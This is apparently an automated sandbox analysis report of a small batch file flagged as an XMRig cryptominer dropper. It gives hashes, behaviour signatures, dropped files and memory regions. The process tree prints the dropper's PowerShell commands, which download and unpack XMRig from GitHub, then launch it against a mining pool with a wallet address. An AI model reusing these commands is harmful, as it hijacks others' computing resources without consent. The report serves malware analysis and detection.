Analysis

  • max time kernel
    1830s
  • max time network
    1843s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    26/12/2023, 06:44

General

  • Target

    tesy - Copy (10).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (10).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4648
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:940
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2848
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4204

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    56efdb5a0f10b5eece165de4f8c9d799

    SHA1

    fa5de7ca343b018c3bfeab692545eb544c244e16

    SHA256

    6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

    SHA512

    91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    6d7a556304217ff1574e5be017f53a94

    SHA1

    0c02fd7b2d9d89929e7c720a7a6549291729445e

    SHA256

    947038065b4a3df276efa777ddbf16681d06078eb3bc9fa6edcf10b4a012e4e5

    SHA512

    e4de3ea1402d9eb4292086cacc00d4e5dfe05b7438392bd777270a6fae2224cd42878f38d743590242f7b34cd40b7a3496bcc89641e20fa0c9a43c892eb697e0

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0jt3zcde.sef.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    622KB

    MD5

    8ee7c93ef10cd3f67c1293c77e6e7939

    SHA1

    7318e9b8192d8d60b0f51751ee6310cf6c0745ed

    SHA256

    a05a240795557f7edefcc045df31a95bfa493acb191daff5e280cd1ef541307e

    SHA512

    7957e95d3fa43ded5c6ddf63c1daeedcb094e925ca625f697ccc165fac7ee322064eae12b740c086b264fca28892ee9f82cb3abea859366b70ef86fde0736bba

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    185KB

    MD5

    1f904308d8c88a75a679590e47b6cb1d

    SHA1

    24e92824935f8a026e0b078cfa96b977773080fc

    SHA256

    471c39ae8f902dff42a452ed17963472f69ae0deb24787fc05b690ac794d1349

    SHA512

    9aca0d36023a373ea5c74f5a8dec74a07f4abdd7620d6620d65ec3558489cda2e8b9fee0d16a55527893cd57f11d87f4547a7cf03bd3cbe4c22a78ef8ff023df

  • memory/940-29-0x000002687B600000-0x000002687B610000-memory.dmp

    Filesize

    64KB

  • memory/940-7-0x000002687B600000-0x000002687B610000-memory.dmp

    Filesize

    64KB

  • memory/940-26-0x00007FF9FC2F0000-0x00007FF9FCCDC000-memory.dmp

    Filesize

    9.9MB

  • memory/940-27-0x000002687B600000-0x000002687B610000-memory.dmp

    Filesize

    64KB

  • memory/940-28-0x000002687B600000-0x000002687B610000-memory.dmp

    Filesize

    64KB

  • memory/940-10-0x000002687B790000-0x000002687B806000-memory.dmp

    Filesize

    472KB

  • memory/940-34-0x00007FF9FC2F0000-0x00007FF9FCCDC000-memory.dmp

    Filesize

    9.9MB

  • memory/940-9-0x000002687B600000-0x000002687B610000-memory.dmp

    Filesize

    64KB

  • memory/940-4-0x000002687B590000-0x000002687B5B2000-memory.dmp

    Filesize

    136KB

  • memory/940-25-0x000002687B600000-0x000002687B610000-memory.dmp

    Filesize

    64KB

  • memory/940-5-0x00007FF9FC2F0000-0x00007FF9FCCDC000-memory.dmp

    Filesize

    9.9MB

  • memory/2848-41-0x000001F212130000-0x000001F212140000-memory.dmp

    Filesize

    64KB

  • memory/2848-66-0x000001F212130000-0x000001F212140000-memory.dmp

    Filesize

    64KB

  • memory/2848-80-0x000001F22C1C0000-0x000001F22C1D2000-memory.dmp

    Filesize

    72KB

  • memory/2848-93-0x000001F22C1B0000-0x000001F22C1BA000-memory.dmp

    Filesize

    40KB

  • memory/2848-42-0x000001F212130000-0x000001F212140000-memory.dmp

    Filesize

    64KB

  • memory/2848-117-0x00007FF9FC2F0000-0x00007FF9FCCDC000-memory.dmp

    Filesize

    9.9MB

  • memory/2848-39-0x00007FF9FC2F0000-0x00007FF9FCCDC000-memory.dmp

    Filesize

    9.9MB

  • memory/4204-143-0x00007FF659EF0000-0x00007FF65A9F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4204-155-0x00007FF659EF0000-0x00007FF65A9F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4204-122-0x000001B8ACED0000-0x000001B8ACF10000-memory.dmp

    Filesize

    256KB

  • memory/4204-123-0x00007FF659EF0000-0x00007FF65A9F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4204-125-0x000001B8AE7F0000-0x000001B8AE810000-memory.dmp

    Filesize

    128KB

  • memory/4204-124-0x000001B8AE7D0000-0x000001B8AE7F0000-memory.dmp

    Filesize

    128KB

  • memory/4204-126-0x00007FF659EF0000-0x00007FF65A9F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4204-127-0x00007FF659EF0000-0x00007FF65A9F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4204-128-0x00007FF659EF0000-0x00007FF65A9F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4204-129-0x000001B8AE7D0000-0x000001B8AE7F0000-memory.dmp

    Filesize

    128KB

  • memory/4204-130-0x000001B8AE7F0000-0x000001B8AE810000-memory.dmp

    Filesize

    128KB

  • memory/4204-131-0x00007FF659EF0000-0x00007FF65A9F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4204-132-0x00007FF659EF0000-0x00007FF65A9F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4204-133-0x00007FF659EF0000-0x00007FF65A9F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4204-134-0x00007FF659EF0000-0x00007FF65A9F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4204-135-0x00007FF659EF0000-0x00007FF65A9F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4204-136-0x00007FF659EF0000-0x00007FF65A9F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4204-137-0x00007FF659EF0000-0x00007FF65A9F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4204-138-0x00007FF659EF0000-0x00007FF65A9F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4204-139-0x00007FF659EF0000-0x00007FF65A9F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4204-140-0x00007FF659EF0000-0x00007FF65A9F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4204-141-0x00007FF659EF0000-0x00007FF65A9F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4204-142-0x00007FF659EF0000-0x00007FF65A9F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4204-120-0x000001B8ACC30000-0x000001B8ACC50000-memory.dmp

    Filesize

    128KB

  • memory/4204-144-0x00007FF659EF0000-0x00007FF65A9F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4204-145-0x00007FF659EF0000-0x00007FF65A9F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4204-146-0x00007FF659EF0000-0x00007FF65A9F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4204-147-0x00007FF659EF0000-0x00007FF65A9F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4204-148-0x00007FF659EF0000-0x00007FF65A9F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4204-149-0x00007FF659EF0000-0x00007FF65A9F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4204-150-0x00007FF659EF0000-0x00007FF65A9F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4204-151-0x00007FF659EF0000-0x00007FF65A9F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4204-152-0x00007FF659EF0000-0x00007FF65A9F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4204-153-0x00007FF659EF0000-0x00007FF65A9F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4204-154-0x00007FF659EF0000-0x00007FF65A9F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4204-121-0x00007FF659EF0000-0x00007FF65A9F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4204-156-0x00007FF659EF0000-0x00007FF65A9F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4204-157-0x00007FF659EF0000-0x00007FF65A9F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4204-158-0x00007FF659EF0000-0x00007FF65A9F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4204-159-0x00007FF659EF0000-0x00007FF65A9F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4204-160-0x00007FF659EF0000-0x00007FF65A9F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4204-161-0x00007FF659EF0000-0x00007FF65A9F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4204-162-0x00007FF659EF0000-0x00007FF65A9F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4204-163-0x00007FF659EF0000-0x00007FF65A9F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4204-164-0x00007FF659EF0000-0x00007FF65A9F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4204-165-0x00007FF659EF0000-0x00007FF65A9F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4204-166-0x00007FF659EF0000-0x00007FF65A9F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4204-167-0x00007FF659EF0000-0x00007FF65A9F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4204-168-0x00007FF659EF0000-0x00007FF65A9F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4204-169-0x00007FF659EF0000-0x00007FF65A9F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4204-170-0x00007FF659EF0000-0x00007FF65A9F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4204-171-0x00007FF659EF0000-0x00007FF65A9F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4204-172-0x00007FF659EF0000-0x00007FF65A9F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4204-173-0x00007FF659EF0000-0x00007FF65A9F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4204-174-0x00007FF659EF0000-0x00007FF65A9F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4204-175-0x00007FF659EF0000-0x00007FF65A9F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4204-176-0x00007FF659EF0000-0x00007FF65A9F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4204-177-0x00007FF659EF0000-0x00007FF65A9F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4204-178-0x00007FF659EF0000-0x00007FF65A9F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4204-179-0x00007FF659EF0000-0x00007FF65A9F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4204-180-0x00007FF659EF0000-0x00007FF65A9F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4204-181-0x00007FF659EF0000-0x00007FF65A9F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4204-182-0x00007FF659EF0000-0x00007FF65A9F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4204-183-0x00007FF659EF0000-0x00007FF65A9F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4204-184-0x00007FF659EF0000-0x00007FF65A9F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4204-185-0x00007FF659EF0000-0x00007FF65A9F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4204-186-0x00007FF659EF0000-0x00007FF65A9F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4204-187-0x00007FF659EF0000-0x00007FF65A9F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4204-188-0x00007FF659EF0000-0x00007FF65A9F3000-memory.dmp

    Filesize

    11.0MB